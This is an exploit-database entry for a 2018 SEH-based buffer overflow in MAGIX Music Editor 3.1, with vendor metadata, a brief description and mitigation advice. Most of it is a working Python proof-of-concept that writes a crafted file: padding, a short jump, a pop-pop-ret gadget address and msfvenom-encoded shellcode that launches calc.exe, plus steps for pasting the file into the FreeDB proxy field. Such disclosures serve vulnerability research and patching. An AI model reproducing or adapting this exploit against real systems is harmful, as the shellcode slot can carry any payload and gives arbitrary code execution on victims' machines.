MAGIX Music Editor 3.1 - Buffer Overflow (SEH)

vendor:

Music Editor

by:

bzyo

7.5

CVSS

HIGH

Buffer Overflow

CWE

Product Name: Music Editor

Affected Version From: 3.1

Affected Version To: 3.1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 SP1 x86

2018

MAGIX Music Editor 3.1 – Buffer Overflow (SEH)

This exploit takes advantage of a buffer overflow vulnerability in MAGIX Music Editor 3.1. By providing a specially crafted input, an attacker can overflow a buffer and overwrite the Structured Exception Handler (SEH) to gain control of the program flow. This allows the attacker to execute arbitrary code, such as launching a calculator application.

Mitigation:

The vendor should release a patch that fixes the buffer overflow vulnerability. In the meantime, users should avoid opening untrusted files or accessing untrusted network resources with the affected software.

Source

Exploit-DB raw data:

# Exploit Title: MAGIX Music Editor 3.1 - Buffer Overflow (SEH)
# Exploit Author: bzyo
# Twitter: @bzyo_
# Date: 2018-12-24
# Vulnerable Software: MAGIX Music Editor 3.1
# Vendor Homepage: https://www.magix.com/us/
# Version: 3.1
# Software Link: https://www.magix.com/us/music/mp3-deluxe/
# Music Editor Software is bundled with MP3 Deluxe 19
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open music editor 3
# 3. go to CD > freedb options > FreeDB Proxy Options
# 4. copy/paste magix.txt contents into Server field
# 5. select Accept settings
# 6. pop calc

#!/usr/bin/python

filename="magix.txt"

#lol
junk = "A"*420

#jump 6
nseh = "\xeb\x06\xcc\xcc"

#0x10015b08 : pop ecx # pop ecx # ret  | ascii {PAGE_EXECUTE_READ} [dac3x.dll]
seh = "\x08\x5b\x01\x10"

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00" -e x86/alpha_mixed -f c
#Payload size: 447 bytes
calc = ("\xda\xd4\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4b\x58\x4b\x32\x67\x70\x55\x50\x45\x50\x45\x30\x6e\x69"
"\x6b\x55\x54\x71\x49\x50\x65\x34\x6c\x4b\x72\x70\x70\x30\x6e"
"\x6b\x76\x32\x46\x6c\x6c\x4b\x43\x62\x65\x44\x4e\x6b\x50\x72"
"\x64\x68\x66\x6f\x58\x37\x52\x6a\x31\x36\x45\x61\x4b\x4f\x6e"
"\x4c\x67\x4c\x43\x51\x61\x6c\x75\x52\x34\x6c\x51\x30\x6b\x71"
"\x7a\x6f\x56\x6d\x45\x51\x78\x47\x7a\x42\x4c\x32\x56\x32\x56"
"\x37\x6e\x6b\x32\x72\x42\x30\x4e\x6b\x32\x6a\x37\x4c\x6c\x4b"
"\x72\x6c\x67\x61\x61\x68\x4a\x43\x30\x48\x73\x31\x6b\x61\x66"
"\x31\x6e\x6b\x43\x69\x57\x50\x46\x61\x5a\x73\x4c\x4b\x51\x59"
"\x42\x38\x4d\x33\x37\x4a\x30\x49\x6e\x6b\x46\x54\x6c\x4b\x76"
"\x61\x68\x56\x65\x61\x4b\x4f\x4c\x6c\x5a\x61\x78\x4f\x56\x6d"
"\x56\x61\x58\x47\x65\x68\x4b\x50\x53\x45\x48\x76\x37\x73\x71"
"\x6d\x78\x78\x55\x6b\x31\x6d\x44\x64\x64\x35\x59\x74\x72\x78"
"\x4c\x4b\x31\x48\x66\x44\x36\x61\x6a\x73\x70\x66\x6e\x6b\x74"
"\x4c\x42\x6b\x6e\x6b\x46\x38\x57\x6c\x36\x61\x38\x53\x6c\x4b"
"\x64\x44\x6c\x4b\x46\x61\x5a\x70\x6d\x59\x32\x64\x61\x34\x46"
"\x44\x53\x6b\x61\x4b\x63\x51\x36\x39\x31\x4a\x52\x71\x69\x6f"
"\x4b\x50\x71\x4f\x61\x4f\x70\x5a\x6e\x6b\x66\x72\x78\x6b\x6c"
"\x4d\x31\x4d\x31\x7a\x43\x31\x4e\x6d\x4b\x35\x68\x32\x47\x70"
"\x65\x50\x65\x50\x36\x30\x62\x48\x54\x71\x4c\x4b\x42\x4f\x4f"
"\x77\x59\x6f\x4e\x35\x4d\x6b\x68\x70\x68\x35\x4d\x72\x52\x76"
"\x30\x68\x4e\x46\x5a\x35\x4d\x6d\x6f\x6d\x59\x6f\x4a\x75\x35"
"\x6c\x46\x66\x73\x4c\x75\x5a\x4d\x50\x69\x6b\x79\x70\x51\x65"
"\x76\x65\x6f\x4b\x33\x77\x74\x53\x31\x62\x70\x6f\x73\x5a\x33"
"\x30\x76\x33\x39\x6f\x58\x55\x30\x63\x75\x31\x52\x4c\x73\x53"
"\x36\x4e\x52\x45\x53\x48\x32\x45\x65\x50\x41\x41")

fill = "C"*2000

buffer = junk + nseh + seh + calc + fill

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()